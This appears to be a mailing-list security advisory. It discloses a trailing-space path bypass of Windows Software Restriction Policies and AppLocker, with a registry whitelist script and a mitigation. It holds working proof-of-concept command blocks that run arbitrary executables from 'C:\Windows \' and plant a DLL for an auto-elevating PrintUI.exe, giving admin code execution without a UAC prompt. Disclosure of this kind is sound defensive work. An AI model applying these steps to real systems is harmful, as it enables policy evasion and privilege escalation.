Hi @ll, Microsoft introduced SAFER alias Software Restriction Policies (SRP) with Windows XP about 20 years ago. See for the API, plus the TechNet articles "How Software Restriction Policies Work" and "Using Software Restriction Policies to Protect Against Unauthorized Software" for the use case. "Using Software Restriction Policies to Protect Against Unauthorized Software" and "Application Lockdown with Software Restriction Policies" were published some years later for Windows Vista. Windows 7 then introduced AppLocker as successor to SAFER/SRP, available but only in Enterprise and Server editions. A basic whitelist which allows (unprivileged) users to execute applications, scripts, DLLs etc. only from the write-protected directories "C:\Windows\" and "C:\Program Files\", on 64-bit editions also "C:\Program Files (x86)\", and below, but excludes the user-writable directory "C:\Windows\Temp\", can be setup with the following registry script which uses just 5 path rules: --- SAFER.REG --- REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers] "DefaultLevel"=dword:00000000 ; disallowed "PolicyScope"=dword:00000001 ; all users except (elevated) 'Administrators' "TransparentEnabled"=dword:00000002 ; all executables and DLLs [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{C7ADC554-00AF-4BDE-A192-FF2914E2653F}] "ItemData"="C:\\Windows\\Temp" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{C7ADD2B8-A529-491E-BB39-4F7694557B88}] "ItemData"="C:\\Windows\\Temp:*" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths\{191CD7FA-F240-4A17-8986-94D480A6C8CA}] "ItemData"="C:\\Windows" ; CAVEAT: uncomment the following 2 lines only on 64-bit editions! ;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths\{C77CC673-3BA3-427D-C9DE-76D54F6DC97E}] ;"ItemData"="C:\\Program Files (x86)" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths\{D2C34AB2-529A-46B2-B293-FC853FCE72EA}]" "ItemData"="C:\\Program Files" --- EOF --- Almost 10 years ago, Microsoft fixed an AppLocker and SAFER/SRP bypass with the hotfix for Windows 7 and Windows Server 2008 R2, but left older versions vulnerable -- and made a rather poor job. 4 years ago I showed the other bypass of SAFER/SRP and AppLocker, plus its mitigation: see alias , plus JFTR: the "future version of Windows" where this bypass should have been fixed according to the MSRC has not yet been seen anywhere! It's time to show another bypass: to evaluate path rules, SAFER/SRP (and to my knowledge AppLocker too) relies on the Win32 functions GetFullPathName(), GetLongPathName() and GetShortPathName() (see , and ), which but fail for pathnames with a trailing blank: see Due to these bugs, SAFER/SRP and AppLocker treat the pathname "C:\Windows \..." like "C:\Windows\..." Demonstration: ~~~~~~~~~~~~~~ 0. If you don't have SAFER/SRP or AppLocker already setup, log on to the user account created during Windows setup and import the registry script shown above, then reboot. 1. Log on to an arbitrary (unprivileged) user account, start the command processor and run the following (first block of) command lines: MKDIR "%SystemDrive%\Foo" && ( COPY "%COMSPEC%" "%SystemDrive%\Foo\Bar.exe" && ( START "SAFER" /WAIT "%SystemDrive%\Foo\Bar.exe" ECHO 1>"%SystemDrive%\Foo\Bar.cmd" @ECHO Just a batch script CALL "%SystemDrive%\Foo\Bar.cmd" ECHO 1>"%SystemDrive%\Foo\Bar.vbs" WScript.Echo "Just a Visual Basic script" START "SAFER" /WAIT "%SystemDrive%\Foo\Bar.vbs" RMDIR /Q /S "%SystemDrive%\Foo")) Both SAFER and AppLocker block execution in the directory "C:\Foo\" 2. Run the following (second block of) command lines: MKDIR "%SystemRoot% \" && ( COPY "%COMSPEC%" "%SystemRoot% \Dummy.exe" && ( START "OOPS!" /WAIT "%SystemRoot% \Dummy.exe" ECHO 1>"%SystemRoot% \Dummy.vbs" WScript.Echo "Just a Visual Basic script" START "OOPS!" /WAIT "%SystemRoot% \Dummy.vbs" RMDIR /Q /S "%SystemRoot% \")) An unprivileged user can execute (a copy of) the command processor (as well as any other executable) in the directory "C:\Windows \"! NOTE: the following 2 steps are optional and solely for entertainment! 3. Run the following (third block of) command lines: SETLOCAL ENABLEDELAYEDEXPANSION MKDIR "%SystemRoot% \" && ( COPY "%SystemRoot%\System32\PrintUI.exe" "%SystemRoot% \PrintUI.exe" && ( START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL! COPY "%SystemRoot%\System32\ShUnimpl.dll" "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL! RMDIR /Q /S "%SystemRoot% \")) Both START commands trigger a BLUE UAC prompt which displays "Verified Publisher: Microsoft Windows", i.e. the security theatre known as UAC determines "C:\Windows \" to be a TRUSTED directory! 4. Finally log on to the user account created during Windows setup, start the command processor (UNELEVATED!) and run just the third block of command lines. The copy of PrintUI.exe auto-elevates without UAC prompt, then loads and executes the copy of ShUnimpl.dll (or any other DLL copied as PrintUI.dll into its application directory) with administrative rights! Both the missing dialog box "Change printer settings" and the exit code 1114 alias ERROR_DLL_INIT_FAILED from the second START command indicate that the copy of ShUnimpl.dll was loaded instead of the real %SystemRoot%\System32\PrintUI.dll The Common Weaknesses and Exposures classifies such misbehavior, which results in arbitrary code execution (here with escalation of privilege), as - CWE-426: Untrusted Search Path - CWE-427: Uncontrolled Search Path Element The Common Attack Pattern Enumeration and Classification lists it as - CAPEC-471: Search Order Hijacking Mitigation: ~~~~~~~~~~~ Remove the permission to create directories in the root directory of the system drive for 'Authenticated Users': ICACLS.exe %SystemDrive%\ /Remove:g *S-1-5-11 stay tuned, and NEVER use Windows in default configuration/installation! Stefan Kanthak PS: I reported these 2 bypasses to the MSRC, where case 64652 was opened. Some days later I received the following reply: | We were unfortuantely unable to reproduce this issue, however based on | what you have described: | A UAC bypass only for Administrators - UAC is not considered a security | boundary. | A SRP bypass, which is also not considered a security boundary. | | As a result, this does not meet the bar for servicing. | For this reason I have closed this case. NOBODY runs any command as 'Administrator' here, but just as the UNPRIVILEGED and UNELEVATED user created during Windows setup, which Joe and Jane Average use for their day-to-day work!